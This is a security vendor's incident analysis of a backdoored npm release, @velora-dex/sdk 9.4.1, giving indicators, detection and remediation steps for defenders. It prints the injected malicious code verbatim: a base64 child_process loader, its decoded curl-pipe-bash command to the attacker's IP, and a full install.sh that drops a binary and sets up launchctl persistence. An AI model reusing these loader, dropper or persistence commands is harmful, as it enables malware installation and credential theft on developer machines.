@velora-dex/sdk Supply Chain Compromise: Build Pipeline Injection Delivers macOS Persistent Implant

Phoenix Security infographic: @velora-dex/sdk Supply Chain Compromise — Build Pipeline Injection delivers macOS Persistent Implant, April 2026. Dark navy background with Phoenix Security branding. Supply chain attack overview showing npm package compromise, macOS persistent implant via launchctl, and remediation steps. No CVE assigned.

Executive Summary

On April 7, 2026 at 19:03 UTC, a backdoored version of @velora-dex/sdk landed on npm. Version 9.4.1 — a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralised exchange — contains three lines of malicious code prepended to dist/index.js that execute the moment the package is imported.

Phoenix Security infographic: @velora-dex/sdk Supply Chain Compromise — Build Pipeline Injection, macOS Persistent Implant, April 2026. Shows what happened, the payload code, platform impact on macOS and Linux, and fix steps including pinning to 9.4.0 and blocking C2 89.36.224.5.

The code is not in the GitHub repository. Only the production tarball on npm is compromised. The attacker had access to the npm publishing token or the release pipeline, not the source tree. Source-level audits and SAST tools see nothing. StepSecurity’s Harden-Runner captured the complete kill chain in a controlled GitHub Actions run: from the require() call to binary download and launchctl persistence in approximately 330 milliseconds.

macOS developer machines are the primary target. The second-stage payload at 89.36.224.5 drops an architecture-specific binary — separate builds for Apple Silicon and Intel — into ~/Library/Application Support/com.apple.Terminal/profiler and registers it as a persistent launchctl service named zsh.profiler. On Linux CI runners, the C2 connection fires but the binary is not downloaded. The damage window is different depending on environment; the credential risk is not.

No CVE has been assigned. The GitHub issue was reported by Charlie Eriksen from Aikido. 9.4.0 is confirmed clean. Version 9.4.2 was published as a remediation but is not yet independently confirmed clean in all available sources — treat 9.4.0 as the verified safe pin until confirmed.

npm registry page for @velora-dex/sdk showing version history: 9.4.1 deprecated (0 downloads, published 4 hours ago), 9.4.0 confirmed clean (573 downloads), and newly published 9.4.2 as latest. Weekly downloads chart showing 2,188. Repository linked to github.com/VeloraDEX/paraswap-sdk.

TL;DR for Engineering Teams

What it is:  Supply chain compromise of @velora-dex/sdk 9.4.1 on npm, delivering a macOS persistent implant via a compromised build pipeline. No CVE assigned.

Where it bites:  Any environment that installed or upgraded to @velora-dex/sdk@9.4.1. The payload fires on the first require() or import — no install hook, no separate step. 330ms from import to persistence attempt.

Why it matters:  The malicious code is absent from the GitHub source tree. Source-level SAST is blind to it. macOS machines get a persistent launchctl implant. Linux CI runners make the C2 connection but don’t receive the binary — both environments should be treated as compromised.

Patch status:  9.4.0 is confirmed clean. 9.4.2 was published as a fix but is not yet independently confirmed across all available sources. Pin to 9.4.0 until 9.4.2 is verified.

Immediate action:  Downgrade to 9.4.0. Run the macOS cleanup commands below. Rotate every credential accessible from affected machines. Block 89.36.224.5 at network perimeter and DNS. Audit lock files and CI pipeline logs.

Vulnerability Overview

FieldValue
Package@velora-dex/sdk
Registrynpm
Vulnerability TypeSupply chain compromise / macOS persistent implant / remote code execution
CWECWE-506 (Embedded Malicious Code)
CVENot assigned
Affected Version9.4.1
Confirmed Clean Versions≤9.4.0 (9.4.2 published but not independently confirmed)
Attack VectorModule import (no install hook required)
C2 Infrastructure89.36.224.5
Time to Persistence~330ms from require() to launchctl
macOS Persistencelaunchctl service: zsh.profiler
macOS Binary Drop~/Library/Application Support/com.apple.Terminal/profiler
Published2026-04-07 19:03 UTC
Initial ReporterCharlie Eriksen (Aikido Security), GitHub issue #233
Active ExploitationConfirmed (C2 live at time of discovery)
AttributionUnknown

Technical Anatomy

Root Cause: Build Pipeline Compromise, Not Source Repository

A diff between 9.4.0 and 9.4.1 shows exactly two changed files: package.json (version bump only) and dist/index.js (the injection). No src/ files changed. No other distribution artifacts — sdk.cjs.production.min.js, sdk.esm.js — were modified. Development pre-release builds 9.4.1-dev.1 and 9.4.1-dev.2 from the same source codebase are clean.

Phoenix Security diagram: dist/index.js injection anatomy for @velora-dex/sdk@9.4.1. Left side shows clean GitHub source tree with no malicious content. Right side shows published npm tarball with 3 malicious lines prepended using child_process exec to decode and run a base64 payload. SAST tools blind to tarball-level injection. macOS gets ARM64 binary via launchctl, Linux receives C2 contact only.

This narrows the compromise to one place: whatever process assembled and published the production tarball. The attacker had the npm publishing token, access to the release CI job, or both — not write access to the source repository. The same pattern as TeamPCP against LiteLLM in March 2026: compromise the build step, inject into the output artifact, leave the source intact to defeat repo-based detection.

GitHub issue #233 opened by CharlieEriksen reporting @velora-dex/sdk@9.4.1 supply chain compromise. Issue describes three malicious lines prepended to dist/index.js that execute on require(), decoding a base64 payload that runs nohup bash curling install.sh from 89.36.224.5. Includes decoded payload and note that diff between 9.4.0 and 9.4.1 shows only two changed files.
Credit to Charlie from Aikido for raising 

Test your pipeline with Phoenix Blue intelligence

Exploit Path

Step 1 — Compromised package resolves from registry.

Any developer or CI system running npm install @velora-dex/sdk without an exact version pin resolves to 9.4.1 under semver ranges like ^9.4.0 or ~9.4.1. The package installs without error. No install hook fires at this stage.

Step 2 — Package imported; payload fires immediately.

Three lines are prepended to dist/index.js. The payload runs the moment anything executes require(‘@velora-dex/sdk’) or imports from it:

// dist/index.js — lines 1–3 (malicious)
'use strict'
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});

Decoded payload:

nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

Step 3 — install.sh executes and installs persistence.

StepSecurity’s Harden-Runner captured the full install.sh content in a controlled run. The script is macOS-specific but architecture-aware:

// install.sh — full payload (source: StepSecurity Harden-Runner)
TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"


if [[ "$(uname)" == "Darwin" ]]; then
    if [[ "$(uname -m)" == "arm64" ]]; then
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
    else
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
    fi
fi


chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"

Evasion and Persistence Mechanics

The malware uses four deliberate evasion techniques:

  • Path masquerading: The binary lands in ~/Library/Application Support/com.apple.Terminal/ — a directory that mimics a legitimate macOS Terminal application support path. A user browsing the filesystem is unlikely to flag it.
  • Binary naming: The dropped file is named profiler, a generic name that blends with system diagnostic tooling.
  • Architecture-aware delivery: Separate binaries are served for Apple Silicon (ARM64) and Intel (x86_64), ensuring native execution on both without Rosetta overhead. The attacker built and hosted two payloads.
  • launchctl persistence: launchctl submit -l zsh.profiler registers the binary as a user-level launch service. It survives reboots and runs without elevated privileges. The service name zsh.profiler mimics a shell profiling utility.

Linux CI Behaviour: C2 Contact Without Binary

The uname check in install.sh means Linux runners skip the binary download entirely. The darwin branch does not execute. However, curl still fetches install.sh from 89.36.224.5 — that C2 connection happens regardless of OS. Linux CI environments make the C2 contact but do not receive a persistent implant.

Linux CI runners that imported 9.4.1: the C2 connection fired. Any pipeline secrets, registry tokens, or cloud credentials accessible during that job should be treated as exposed even without a binary implant.

Kill Chain: 330ms from Import to Persistence

StepSecurity’s Harden-Runner captured the full process tree in a controlled GitHub Actions environment. The complete chain from require() to persistence attempt:

// Process tree — source: StepSecurity Harden-Runner (PID order, ~330ms total)
node (PID 2379)           // require('@velora-dex/sdk') at 22:38:50.529
  /bin/sh (PID 2386)      // echo '...' | base64 --decode | bash
    base64 (PID 2390)     // --decode
    bash (PID 2389)
      curl (PID 2391)     // -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
      nohup bash (PID 2393) // executes install.sh
        mkdir (PID 2394)  // -p ~/Library/Application Support/com.apple.Terminal
        uname (PID 2395)  // checks for Darwin
        chmod (PID 2396)  // +x .../profiler at 22:38:50.888
Phoenix Security kill chain timeline: @velora-dex/sdk@9.4.1, April 7 2026. Five stages in 330ms — Build Pipeline Compromised via stolen npm token, 9.4.1 Published at 19:03 UTC, require() Called triggering weaponised tarball while SAST sees nothing, C2 Contact at 89.36.224.5 fetching install.sh, Persistence Installed via zsh.profiler launchctl service surviving reboots on macOS. Safe: 9.4.0. Unsafe: 9.4.1. Unconfirmed: 9.4.2.

Two things are worth noting from this tree. First, nohup detaches the malware execution from the parent Node.js process — it continues running after the test suite, the CI job, or the developer’s script exits. Second, on the Linux runner used in this analysis, uname returned Linux so the binary download was skipped, but directory creation and chmod still executed before the OS check short-circuited.

Affected Versions

PackageAffected VersionSafe VersionsNotes
@velora-dex/sdk9.4.1≤9.4.0 (confirmed); 9.4.2 (unconfirmed)Source repo clean; only published tarball compromised

Exposure Analysis

EnvironmentRisk LevelDetail
Developer macOS (Apple Silicon)CriticalARM64 binary downloaded; launchctl persistence installed; survives reboot
Developer macOS (Intel)CriticalIntel binary downloaded; same persistence mechanism
Linux CI/CD runnersHighC2 connection fires; binary not downloaded; pipeline secrets at risk
Docker build (macOS host)Criticalimport during build triggers full macOS payload
Docker build (Linux host)HighC2 connection fires; binary skipped; build secrets at risk
Environments on ≤9.4.0Not affectedConfirmed clean

The risk split between macOS and Linux is not a reason for Linux teams to deprioritise. The credential exposure on a Linux CI runner that imported 9.4.1 is identical — pipeline tokens, cloud credentials, registry secrets — regardless of whether a persistent binary landed. macOS users additionally need to check for and remove the implant.

Real-World Impact

The attack was discovered through community vigilance. Charlie Eriksen from Aikido filed GitHub issue #233 after noticing the discrepancy between the source repository and the published tarball. The issue title was originally ‘Package compromised on GitHub’ — corrected to ‘Package compromised on NPM,’ the accurate description: the source is fine, the artifact is not.

@velora-dex/sdk is a DeFi toolkit. Its users build token swap and delta trading integrations — environments where blockchain wallet private keys, exchange API tokens, and cloud deployment credentials sit alongside ordinary development secrets. One compromised developer machine yields a credential set that can cascade into publishing infrastructure, just as the TeamPCP campaign showed after the Trivy breach.

No CVE. No CVSS. No NVD entry at time of publication. Standard SCA scanners running CVE feeds have no signal here. The npm advisory database entry appeared only after community disclosure. Version 9.4.1 remained downloadable on npm after deprecation — deprecation flags the package page, it does not block installation.

Detection Guidance

Indicators of Compromise

TypeIndicatorContext
C2 IP89.36.224.5Primary payload server — all environments
C2 URLhttp://89.36.224.5/troubleshoot/mac/install.shDropper script fetched on import
C2 URLhttp://89.36.224.5/mac/arm/driver/profilerARM64 (Apple Silicon) binary
C2 URLhttp://89.36.224.5/mac/intel/driver/profilerIntel binary
Filesystem~/Library/Application Support/com.apple.Terminal/profilerDropped binary (macOS only)
Persistencelaunchctl service: zsh.profilerSurvives reboots; no root required
Processnohup bash -c … curl to 89.36.224.5Spawned by Node.js child_process.exec
Base64 blobbm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYxPresent in dist/index.js lines 2-3
Filedist/index.js: require(‘child_process’) in first 3 linesNot present in any clean version

Verification Steps

  1. Check installed version: npm list @velora-dex/sdk — 9.4.1 in any output means the environment was exposed.
  2. Search lock files: grep -r “velora-dex/sdk” package-lock.json yarn.lock pnpm-lock.yaml — look for any resolution to 9.4.1.
  3. macOS: check for the dropped binary: ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler
  4. macOS: check for the persistent service: launchctl list | grep zsh.profiler
  5. Check network logs for outbound HTTP connections to 89.36.224.5 around the time the package was first imported.
  6. Audit running processes: ps aux | grep ‘nohup bash’ — a detached bash process with a Node.js parent is a strong indicator.
  7. CI pipelines: review workflow logs for jobs that imported the package between 2026-04-07 19:03 UTC and remediation.
  8. Diff tarball against source: npm pack from the GitHub repository at the v9.4.1 tag and diff dist/index.js against the registry version.

Scanner Guidance

CVE-based SCA tools produce no signal here. Detection requires different methods:

  • Tarball vs. source comparison: Socket Security and Deps.dev flag packages where the published artifact diverges from the source repository without a documented build transformation. This is the detection class that catches this attack.
  • SBOM with checksums: Generate an SBOM from the installed node_modules tree and compare against an SBOM generated from source. Hash mismatches in dist/index.js are the indicator.
  • StepSecurity Harden-Runner: Captured the complete kill chain in a controlled run via process event monitoring and network egress tracking. In block mode, Harden-Runner would have prevented the curl call to 89.36.224.5 from succeeding, stopping the binary download before persistence. Provides a Compromised Actions Run Policy and npm Package Cooldown Check for CI environments.
  • Runtime behavioral detection: Falco rules for child_process.exec spawning nohup bash with a curl pipeline catch this in Linux CI environments. Harden-Runner’s ‘Exfiltrating File via Curl’ rule applies directly.
  • Phoenix Security: Identifies compromised packages by comparing published tarball contents against source repository state. Packages where the artifact diverges from source without expected build output are flagged regardless of CVE status.

Remediation Guidance

Immediate Actions

  1. Downgrade: npm install @velora-dex/sdk@9.4.0 in all affected projects. Regenerate lock files. Do not use 9.4.2 until it is independently confirmed clean.
  2. Block C2: Add 89.36.224.5 to perimeter deny lists and DNS blocklists now. All three paths (/troubleshoot/mac/install.sh, /mac/arm/driver/profiler, /mac/intel/driver/profiler) should be blocked.
  3. Rotate credentials: Treat every secret accessible from any machine that imported 9.4.1 as compromised — SSH keys, AWS/GCP/Azure credentials, npm tokens, GitHub PATs, Docker registry tokens, database passwords, cryptocurrency wallet keys, and shell history exports.
  4. Audit CI pipelines: Any pipeline job that imported the package during the exposure window should have all runner secrets rotated.
  5. Lock file hygiene: Search all repositories for lock files resolving to 9.4.1 and update them.
  6. Use a GitHub action that pins the dependencies.
Phoenix Security dashboard screenshot showing remediation campaign for @velora-dex/sdk supply chain compromise — tracking downgrade to 9.4.0, macOS implant removal, and credential rotation across affected repositories with team ownership assignment.

macOS Cleanup (Run on Every Affected Machine)

If 9.4.1 was installed and imported on a macOS machine, run the following:

launchctl remove zsh.profiler

// Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler

// Remove the fake directory if otherwise empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null

// Confirm the service is gone
launchctl list | grep zsh.profiler   # should return nothing

After removing the implant, check ~/Library/LaunchAgents/ for any .plist file referencing zsh.profiler or profiler as a belt-and-suspenders check — launchctl submit does not always write a .plist, but confirming there is no persistent entry is worth the 30 seconds.

Temporary Mitigations

  • –ignore-scripts blocks postinstall hooks but does not help here — this attack fires on module import, not on install. The correct mitigation class is tarball verification before adoption.
  • npm audit signatures: checks cryptographic signatures on installed packages where Sigstore provenance is available.
  • Exact version pinning in package.json: semver ranges are the mechanism that allowed a compromised patch version to resolve silently.
  • Package adoption delay: StepSecurity’s npm Package Cooldown Check blocks newly published versions from entering PRs until a configurable wait period has elapsed. Community detection of supply chain injections typically surfaces within hours.

Phoenix Security Recommendations

No CVE. No CVSS. No NVD entry. The source repository is clean. If your vulnerability management programme runs CVE feeds and source-level scans, this attack was invisible until your code called require().

Supply chain detection: Phoenix compares published npm tarball contents against upstream source state. When the artifact diverges from source without an expected build transformation — as happened here — Phoenix flags it. That is the detection signal that matters for this class of attack, and it works before a developer machine runs the import.

Reachability analysis: Phoenix identifies which applications actually import @velora-dex/sdk and which execution paths reach the compromised entry point. An environment with the package installed but never imported has a different risk profile from one where the module loads on application startup.

Attack surface management: Phoenix maps development environments and CI pipelines against compromised package versions, showing which teams and pipelines need immediate action rather than broadcasting an alert across every team that has ‘velora’ in a transitive dependency.

Remediation campaigns: Create a campaign in Phoenix to track the downgrade to 9.4.0, macOS implant removal, credential rotation, lock file updates, and CI pipeline audits across all affected repositories. Assign owners per repository. Track through to confirmed clean state.

Phoenix Security correlates supply chain compromise indicators — tarball divergence, behavioural runtime signals, affected pipeline execution — into an owned, team-assigned remediation backlog. A zero-CVE npm attack with a macOS persistent implant does not stay invisible.

References

  1. VeloraDEX SDK GitHub Issue #233 — Package compromised on NPM, reported by Charlie Eriksen (Aikido Security), April 7, 2026
  2. StepSecurity OSS Security Feed — @velora-dex/sdk@9.4.1 kill chain analysis and Harden-Runner process capture
  3. StepSecurity Harden-Runner — Insights Dashboard for controlled analysis run (app.stepsecurity.io)
  4. npm registry — @velora-dex/sdk package page
  5. Socket Security — npm supply chain risk monitoring and tarball analysis
  6. MITRE CWE-506 — Embedded Malicious Code
  7. CISA — Software Supply Chain Security Guidance
  8. Endor Labs — TeamPCP Is Not Done: Threat Actor Behind Trivy and KICS Compromises Now Hits LiteLLM (March 2026)

Test your pipeline with Phoenix Blue intelligence

How Phoenix Security Fixes What Actually Matters

Your team doesn’t have a finding problem. They have a fixing problem.

Most platforms hand you a list. Phoenix hands you a plan — ranked by real risk, mapped to the team that owns it, with a clear path to close it.

What remediation looks like with Phoenix:

  • One backlog, not five. Findings from SAST, SCA, containers, and cloud — deduplicated, correlated, and surfaced in a single prioritized queue. No more reconciling lists across tools.
  • Ownership that sticks. Team attribution and inheritance mean the right ticket goes to the right engineer, first time. No routing, no guessing, no back-and-forth.
  • Campaigns that move the needle. Group related findings into targeted remediation campaigns. Track progress, measure closure rates, and report real reduction — not raw counts.
  • AI that does the legwork, not the deciding. Phoenix’s Remediator agent drafts fixes, creates tickets, and opens PRs. Your team reviews, approves, and merges. Every fix is traceable.

Phoenix Security changes the game.

The pattern is the same every time: teams that move from find and report to analyze and fix close more risk with less effort.

The results are clear:

  • Bazaarvoice saved $6.3M in developer time and for teams removed critical in the first weeks of adoption
  • ClearBank cut critical container vulnerabilities by 96–99% and reclaimed 4 hours per engineer per week.
  • IAS saved an equivalent of 1.5M in development hours and reduced SCA-to-container noise by 82.4%
  • Optimizely has been able to act on vulnerabilities sitting on the backlog.

👉 Book a demo today

Or learn how Phoenix Security slashed millions in wasted dev time for fintech, retail, and adtech leaders.

Fix with remediaiton don’t chase ghost vulnerabilities

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Three shell injection sinks in Claude Code CLI chain from environment variable control to HTTP credential exfiltration, confirmed on v2.1.91 with timestamped callback evidence. The vendor says it is by design.
Francesco Cipollone
Phoenix ships workflow automation, a rebuilt Remedies screen, container deduplication, and Azure connectors — so security teams spend less time managing findings and more time closing them.
Rowan Scott
Day 6 of TeamPCP Attack. TeamPCP has crossed the Rubicon from CI/CD tooling into production AI infrastructure. LiteLLM versions 1.82.7 and 1.82.8 on PyPI contain a three-stage credential stealer that harvests SSH keys, cloud secrets, and Kubernetes tokens, deploys privileged pods across every node in your cluster, and installs a persistent backdoor polling for additional payloads. If you run LiteLLM in any environment, check your installed version right now.
Francesco Cipollone
Contents
Derek

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

christophe

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

jim

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

The IKIGAI concept
x  Powerful Protection for WordPress, from Shield Security PRO
This Site Is Protected By
Shield Security PRO